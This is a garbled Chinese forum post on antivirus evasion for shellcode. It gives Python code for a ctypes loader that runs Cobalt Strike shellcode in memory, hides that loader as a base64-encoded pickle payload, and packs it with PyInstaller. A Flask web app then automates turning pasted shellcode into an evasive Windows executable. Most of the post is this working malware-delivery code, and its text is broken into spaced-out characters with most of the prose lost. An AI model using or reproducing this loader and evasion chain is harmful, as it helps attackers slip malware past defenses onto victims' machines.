[26765] 2021-08-19_帅小伙Tz的shellcode免杀大法

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2021-08-19_帅小伙Tz的shellcode免杀大法 1 2 3 5 T z s h e l l c o d e   T z   m o o n s e c   2 0 2 1 - 0 8 - 1 9   #       , 2 3 S h e l l c o d e 1 .   S h e l l c o d e         s h e l l 2 .   P y t h o n   S h e l l c o d e l o d e r s h e l l c o d e s h e l l c o d e s h e l l c o d e S h e l l c o d e l o d e r     - > s h e l l c o d e - >   线 P y t h o n s h e l l c o d e l o d e r   c t y p e s ( p y t h o n 3 ) w i n d o w s   k e r n e l 3 2 . d l l u s e r 3 2 . d l l   g d i 3 2 . d l l   m s v c r t . d l l   s h e l l c o d e l o d e r k e r n e l 3 2 . d l l   V i r t u a l A l l o c V i r t u a l A l l o c R t l M o v e M e m o r y R t l M o v e M e m o r y C r e a t e T h r e a d C r e a t e T h r e a d 线 线 W a i t F o r S i n g l e O b j e c t W a i t F o r S i n g l e O b j e c t 线     P y t h o n   s h e l l c o d e l o d e r   i m p o r t   c t y p e s d e f   s h e l l c o d e l o d e r ( s h e l l c o d e ) : c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c . r e s t y p e   =   c t y p e s . c _ u i n t 6 4   / /   u i n t 6 4 p t r = c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) , c t y p e s . c _ i n t ( 0 x 1 0 0 0 ) , c t y p e s . c _ i n t ( 0 x 4 0 ) )   / / b u f   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e )   / / s h e l l c o d e   c t y p e s . w i n d l l . k e r n e l 3 2 . R t l M o v e M e m o r y ( c t y p e s . c _ u i n t 6 4 ( p t r ) , b u f , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) ) / /       h r e a d   =   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ u i n t 6 4 ( p t r ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . p o i n t e r ( c t y p e s . c _ i n t ( 0 ) ) )   / / c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( c t y p e s . c _ i n t ( t h r e a d ) , c t y p e s . c _ i n t ( - 1 ) )   / /   - 1       s h e l l c o d e C o b a l t S t i k e p y t h o n s h e l l c o d e b u f = x f c x 4 8 x 8 3 x e 4 x f 0 x e 8 . . . . . . b y t e s   b y t e a r r a y ( l i s t ) s h e l l c o d e l o d e r i m p o r t   c t y p e s b u f =   b   ' x f c x 4 8 x 8 3 x e 4 x f 0 x e 8 . . . . . . d e f   s h e l l c o d e l o d e r ( s h e l l c o d e ) : c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c . r e s t y p e   =   c t y p e s . c _ u i n t 6 4   / /   u i n t 6 4 p t r = c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) , c t y p e s . c _ i n t ( 0 x 1 0 0 0 ) , c t y p e s . c _ i n t ( 0 x 4 0 ) )   / / b u f   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e )   / / s h e l l c o d e   c t y p e s . w i n d l l . k e r n e l 3 2 . R t l M o v e M e m o r y ( c t y p e s . c _ u i n t 6 4 ( p t r ) , b u f , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) ) / /       h r e a d   =   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ u i n t 6 4 ( p t r ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . p o i n t e r ( c t y p e s . c _ i n t ( 0 ) ) )   / / c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( c t y p e s . c _ i n t ( t h r e a d ) , c t y p e s . c _ i n t ( - 1 ) )   / /   - 1       s h e l l c o d e l o d e r ( b y t e a r r a y ( b u f ) )         s h e l l c o d e p i c k l e ( p y t h o n ) p i c k l e   p y t h o n s h e l l c o d e l o d e r   e x e c i m p o r t   p i c k l e , b a s e 6 4 , c t y p e s c l a s s   s h e l l c o d e l o d e r :         d e f   _ _ r e d u c e _ _ ( s e l f ) :   / / _ _ r e d u c e _ _   P i c k l e                 r e t u r n   ( e x e c , ( " " " c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c . r e s t y p e   =   c t y p e s . c _ u i n t 6 4
6 7 p t r   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) , c t y p e s . c _ i n t ( 0 x 1 0 0 0 ) , c t y p e s . c _ i n t ( 0 x 4 0 ) ) b u f   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e ) c t y p e s . w i n d l l . k e r n e l 3 2 . R t l M o v e M e m o r y ( c t y p e s . c _ u i n t 6 4 ( p t r ) , b u f , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) ) t h r e a d   =   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ u i n t 6 4 ( p t r ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . p o i n t e r ( c t y p e s . c _ i n t ( 0 ) ) ) c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( c t y p e s . c _ i n t ( t h r e a d ) , c t y p e s . c _ i n t ( - 1 ) ) " " " , ) )   / / r e t u r n   p i c k s h e l l   =   p i c k l e . d u m p s ( s h e l l c o d e l o d e r ( ) )   / / s h e l l c o d e l o d e r b a s e p i c k s h e l l   =   b a s e 6 4 . b 6 4 e n c o d e ( p i c k s h e l l )   / /   b a s e 6 4 p r i n t ( b a s e p i c k s h e l l )   / / s h e l l c o d e b a s e 6 4 p y     i m p o r t   b a s e 6 4 , p i c k l e , c t y p e s s h e l l c o d e l o d e r   =   b ' g A S V d Q I A A A A A A A C M C G J 1 a W x 0 a '   / / s h e l l c o d e l o d e r b a s e s h e l l c o d e   =   b ' / E i D 5 P D o y A A A A E F R Q V B S U V Z I M d J l S I t S Y '   / / s h e l l c o d e s h e l l c o d e =   b y t e a r r a y ( b a s e 6 4 . b 6 4 d e c o d e ( b a s e s h e l l c o d e ) )   / / s h e l l c o d e s h e l l c o d e p i c k l e . l o a d s ( b a s e 6 4 . b 6 4 d e c o d e ( s h e l l c o d e l o d e r ) ) / / s h e l l c o d e l o d e r   线 P y i n s t a l l e r   e x e p i p   i n s t a l l   p y i n s t a l l e r   p y i n s t a l l e r   - F   s h e l l c o d e . p y e x e d i s t F l a s k   s h e l l c o d e 线 线   p i p   i n s t a l l   f l a s k   f l a s k   C o b a l t S t i k e s h e l l c o d e   - >   s h e l l c o d e   p y - >   p y i n s t a l l e r   e x e - >   h t m l i n d e x . h t m l   t e m p l a t e s
S i m p l e   s i m p l e v e r y s i m p l e   h t m l f o r m f r o m   f l a s k   i m p o r t   F l a s k , r e n d e r _ t e m p l a t e , r e q u e s t a p p   =   F l a s k ( _ _ n a m e _ _ )   / / F l a s k @ a p p . r o u t e ( / , m e t h o d s = [ G E T , P O S T ] )   / /     d e f   i n d e x ( ) :   / / i f   r e q u e s t . m e t h o d   = =   ' P O S T ' :   / / p o s t   f o r m p o s t s h e l l c o d e   =   r e q u e s t . f o r m . g e t ( ' u s e r s h e l l c o d e ' )   / / s h e l l c o d e                 i f   n o t   a l l ( [ s h e l l c o d e ] ) :   / / n n   =   '   s h e l l c o d e   ~                         r e t u r n   r e n d e r _ t e m p l a t e ( ' i n d e x . h t m l ' , n n = n n )   / /   n n h t m l                 e l i f   ' b u f '   n o t   i n   s h e l l c o d e :   / /   b u f                           n n   =   '       s h e l l c o d e   ~   '                         r e t u r n   r e n d e r _ t e m p l a t e ( ' i n d e x . h t m l ' ,   n n = n n )                 e l i f   ' " '   n o t   i n   s h e l l c o d e [ : : - 1 ] [ 0 ] :   / /   s h e l l c o d e                           n n   =   ' c a o   '                         r e t u r n   r e n d e r _ t e m p l a t e ( ' i n d e x . h t m l ' ,   n n = n n )     s h e l l c o d e         s h e l l c o d e b s t r i n g   %   s h e l l c o d e b y t e s ( s h e l l c o d e , e n c o d i n g = U T F - 8 )               s h e l l c o d e   p y b a s e 6 4 p y   p y i m p o r t   o s w i t h   o p e n ( ' s h e l l . p y ' , ' w ' )   a s   f : f . w r i t e ( ' i m p o r t   b a s e 6 4 n ' )         f . w r i t e ( " s h e l l c o d e   =   b ' " + s h e l l c o d e [ 7 : l e n ( s h e l l c o d e ) - 1 ] + " ' n " )         f . w r i t e ( " b a s e s h e l l c o d e   =   b a s e 6 4 . b 6 4 e n c o d e ( s h e l l c o d e ) n " )         f . w r i t e ( ' w i t h   o p e n ( ' + " ' s h e l l c o d e . p y ' , ' w ' " + ' )   a s   f : ' + ' n ' )         f . w r i t e ( '       ' + " f . w r i t e ( ' i m p o r t   p i c k l e , b a s e 6 4 , c t y p e s   n ' ) " + ' n ' )         f . w r i t e ( '       ' + " f . w r i t e ( ' s h e l l c o d e   =   ' + s t r ( b a s e s h e l l c o d e ) + ' n ' ) " + ' n ' )         f . w r i t e ( '       ' + " " " f . w r i t e ( ' s h e l l c o d e l o d e r   = b ' + " ' g A S V d Q I A A A A A A A C M C G J 1 a W x 0 a W 5 z l I w E Z X h l Y 5 S T l F h W A g A A C m N 0 e X B l c y 5 3 a W 5 k b G w u a 2 V y b m V s M z I u V m l y d H V h b E F s b G 9 j L n J l c 3 R 5 c G U g P S B j d H l w Z X M u Y 1 9 1 a W 5 0 N j Q K c H R y I D 0 g Y 3 R 5 c G V z L n d p b m R s b C 5 r Z X J u Z W w z M i 5 W a X J 0 d W F s Q W x s b 2 M o Y 3 R 5 c G V z L m N f a W 5 0 K D A p L G N 0 e X B l c y 5 j X 2 l u d C h s Z W 4 o c 2 h l b G x j b 2 R l K S k s Y 3 R 5 c G V z L m N f a W 5 0 K D B 4 M T A w M C k s Y 3 R 5 c G V z L m N f a W 5 0 K D B 4 N D A p K Q p i d W Y g P S A o Y 3 R 5 c G V z L m N f Y 2 h h c i A q I G x l b i h z a G V s b G N v Z G U p K S 5 m c m 9 t X 2 J 1 Z m Z l c i h z a G V s b G N v Z G U p C m N 0 e X B l c y 5 3 a W 5 k b G w u a 2 V y b m V s M z I u U n R s T W 9 2 Z U 1 l b W 9 y e S h j d H l w Z X M u Y 1 9 1 a W 5 0 N j Q o c H R y K S x i d W Y s Y 3 R 5 c G V z L m N f a W 5 0 K G x l b i h z a G V s b G N v Z G U p K S k K d G h y Z W F k I D 0 g Y 3 R 5 c G V z L n d p b m R s b C 5 r Z X J u Z W w z M i 5 D c m V h d G V U a H J l Y W Q o Y 3 R 5 c G V z L m N f a W 5 0 K D A p L G N 0 e X B l c y 5 j X 2 l u d C g w K S x j d H l w Z X M u Y 1 9 1 a W 5 0 N j Q o c H R y K S x j d H l w Z X M u Y 1 9 p b n Q o M C k s Y 3 R 5 c G V z L m N f a W 5 0 K D A p L G N 0 e X B l c y 5 w b 2 l u d G V y K G N 0 e X B l c y 5 j X 2 l u d C g w K S k p C m N 0 e X B l c y 5 3 a W 5 k b G w u a 2 V y b m V s M z I u V 2 F p d E Z v c l N p b m d s Z U 9 i a m V j d C h j d H l w Z X M u Y 1 9 p b n Q o d G h y Z W F k K S x j d H l w Z X M u Y 1 9 p b n Q o L T E p K Q o g I C A g I C A g I J S F l F K U L g = = ' n " ) " " " + ' n ' ) / /   b a s e 6 4 s h e l l c o d e l o d e r f . w r i t e ( '       ' + " f . w r i t e ( ' s h e l l c o d e   =   b y t e a r r a y ( b a s e 6 4 . b 6 4 d e c o d e ( s h e l l c o d e ) ) n ' ) " + ' n ' ) f . w r i t e ( '       ' + " f . w r i t e ( ' p i c k l e . l o a d s ( b a s e 6 4 . b 6 4 d e c o d e ( s h e l l c o d e l o d e r ) ) n ' ) " + ' n ' ) o s . s y s t e m ( ' p y t h o n   s h e l l . p y ' )   / /   s h e l l . p y o s . s y s t e m ( ' p y i n s t a l l e r   - F   s h e l l c o d e . p y ' )   / / p y i n s t a l l e r   s h e l l . p y     s h e l l c o d e . p y   f r o m   f l a s k   i m p o r t   s e n d _ f r o m _ d i r e c t o r y @ a p p . r o u t e ( " / d o w n l o a d " )   / / s h e l l c o d e . e x e i p : / d o w n l o a d d e f   d o w n l o a d ( ) :         s t o r e _ p a t h   =   o s . g e t c w d ( ) + ' d i s t '   / / s h e l l c o d e . e x e r e t u r n   s e n d _ f r o m _ d i r e c t o r y ( s t o r e _ p a t h ,   ' s h e l l c o d e . e x e ' ,   a s _ a t t a c h m e n t = T r u e )   i n d e x ( )   r e t u r n   r e d i r e c t ( " / d o w n l o a d " )     s h e l l c o d e . e x e   i p : / d o w n l o a d s h e l l c o d e . e x e f r o m   f l a s k   i m p o r t   F l a s k , r e n d e r _ t e m p l a t e , r e q u e s t , s e n d _ f r o m _ d i r e c t o r y , r e d i r e c t i m p o r t   o s a p p   =   F l a s k ( _ _ n a m e _ _ ) @ a p p . r o u t e ( ' / ' , m e t h o d s = [ ' G E T ' , ' P O S T ' ] ) d e f   i n d e x ( ) :         i f   r e q u e s t . m e t h o d   = =   ' P O S T ' :                 s h e l l c o d e   =   r e q u e s t . f o r m . g e t ( ' u s e r s h e l l c o d e ' )                 i f   n o t   a l l ( [ s h e l l c o d e ] ) :                         n n   =   '   s h e l l c o d e   ~ '
8 9         ~                             n n   =   '   s h e l l c o d e   ~ '                         r e t u r n   r e n d e r _ t e m p l a t e ( ' i n d e x . h t m l ' , n n = n n )                 e l i f   ' b u f '   n o t   i n   s h e l l c o d e :                         n n   =   '       s h e l l c o d e   ~   '                         r e t u r n   r e n d e r _ t e m p l a t e ( ' i n d e x . h t m l ' ,   n n = n n )                 e l i f   ' " '   n o t   i n   s h e l l c o d e [ : : - 1 ] [ 0 ] :                         n n   =   ' c a o   '                         r e t u r n   r e n d e r _ t e m p l a t e ( ' i n d e x . h t m l ' ,   n n = n n )                 e l s e :                         w i t h   o p e n ( ' s h e l l . p y ' , ' w ' )   a s   f :                                 f . w r i t e ( ' i m p o r t   b a s e 6 4 n ' )                                 f . w r i t e ( " s h e l l c o d e   =   b ' " + s h e l l c o d e [ 7 : l e n ( s h e l l c o d e ) - 1 ] + " ' n " )                                 f . w r i t e ( " b a s e s h e l l c o d e   =   b a s e 6 4 . b 6 4 e n c o d e ( s h e l l c o d e ) n " )                                 f . w r i t e ( ' w i t h   o p e n ( ' + " ' s h e l l c o d e . p y ' , ' w ' " + ' )   a s   f : ' + ' n ' )                                 f . w r i t e ( '       ' + " f . w r i t e ( ' i m p o r t   p i c k l e , b a s e 6 4 , c t y p e s   n ' ) " + ' n ' )                                 f . w r i t e ( '       ' + " f . w r i t e ( ' s h e l l c o d e   =   ' + s t r ( b a s e s h e l l c o d e ) + ' n ' ) " + ' n ' )                                 f . w r i t e ( '       ' + " " " f . w r i t e ( ' s h e l l c o d e l o d e r   =   b ' + " ' g A S V d Q I A A A A A A A C M C G J 1 a W x 0 a W 5 z l I w E Z X h l Y 5 S T l F h W A g A A C m N 0 e X B l c y 5 3 a W 5 k b G w u a 2 V y b m V s M z I u V m l y d H V h b E F s b G 9 j L n J l c 3 R 5 c G U g P S B j d H l w Z X M u Y 1 9 1 a W 5 0 N j Q K c H R y I D 0 g Y 3 R 5 c G V z L n d p b m R s b C 5 r Z X J u Z W w z M i 5 W a X J 0 d W F s Q W x s b 2 M o Y 3 R 5 c G V z L m N f a W 5 0 K D A p L G N 0 e X B l c y 5 j X 2 l u d C h s Z W 4 o c 2 h l b G x j b 2 R l K S k s Y 3 R 5 c G V z L m N f a W 5 0 K D B 4 M T A w M C k s Y 3 R 5 c G V z L m N f a W 5 0 K D B 4 N D A p K Q p i d W Y g P S A o Y 3 R 5 c G V z L m N f Y 2 h h c i A q I G x l b i h z a G V s b G N v Z G U p K S 5 m c m 9 t X 2 J 1 Z m Z l c i h z a G V s b G N v Z G U p C m N 0 e X B l c y 5 3 a W 5 k b G w u a 2 V y b m V s M z I u U n R s T W 9 2 Z U 1 l b W 9 y e S h j d H l w Z X M u Y 1 9 1 a W 5 0 N j Q o c H R y K S x i d W Y s Y 3 R 5 c G V z L m N f a W 5 0 K G x l b i h z a G V s b G N v Z G U p K S k K d G h y Z W F k I D 0 g Y 3 R 5 c G V z L n d p b m R s b C 5 r Z X J u Z W w z M i 5 D c m V h d G V U a H J l Y W Q o Y 3 R 5 c G V z L m N f a W 5 0 K D A p L G N 0 e X B l c y 5 j X 2 l u d C g w K S x j d H l w Z X M u Y 1 9 1 a W 5 0 N j Q o c H R y K S x j d H l w Z X M u Y 1 9 p b n Q o M C k s Y 3 R 5 c G V z L m N f a W 5 0 K D A p L G N 0 e X B l c y 5 w b 2 l u d G V y K G N 0 e X B l c y 5 j X 2 l u d C g w K S k p C m N 0 e X B l c y 5 3 a W 5 k b G w u a 2 V y b m V s M z I u V 2 F p d E Z v c l N p b m d s Z U 9 i a m V j d C h j d H l w Z X M u Y 1 9 p b n Q o d G h y Z W F k K S x j d H l w Z X M u Y 1 9 p b n Q o L T E p K Q o g I C A g I C A g I J S F l F K U L g = = ' n " ) " " "                                 f . w r i t e ( '       ' + " f . w r i t e ( ' s h e l l c o d e   =   b y t e a r r a y ( b a s e 6 4 . b 6 4 d e c o d e ( s h e l l c o d e ) ) n ' ) " + ' n ' )                                 f . w r i t e ( '       ' + " f . w r i t e ( ' p i c k l e . l o a d s ( b a s e 6 4 . b 6 4 d e c o d e ( s h e l l c o d e l o d e r ) ) n ' ) " + ' n ' )                         o s . s y s t e m ( ' p y t h o n   s h e l l . p y ' )                         o s . s y s t e m ( ' p y i n s t a l l e r   - F   s h e l l c o d e . p y ' )                         r e t u r n   r e d i r e c t ( " / d o w n l o a d " )         r e t u r n   r e n d e r _ t e m p l a t e ( ' i n d e x . h t m l ' ) @ a p p . r o u t e ( " / d o w n l o a d " ) d e f   d o w n l o a d ( ) :         s t o r e _ p a t h   =   o s . g e t c w d ( ) + ' d i s t '         r e t u r n   s e n d _ f r o m _ d i r e c t o r y ( s t o r e _ p a t h ,   ' s h e l l c o d e . e x e ' ,   a s _ a t t a c h m e n t = T r u e ) a p p . r u n ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则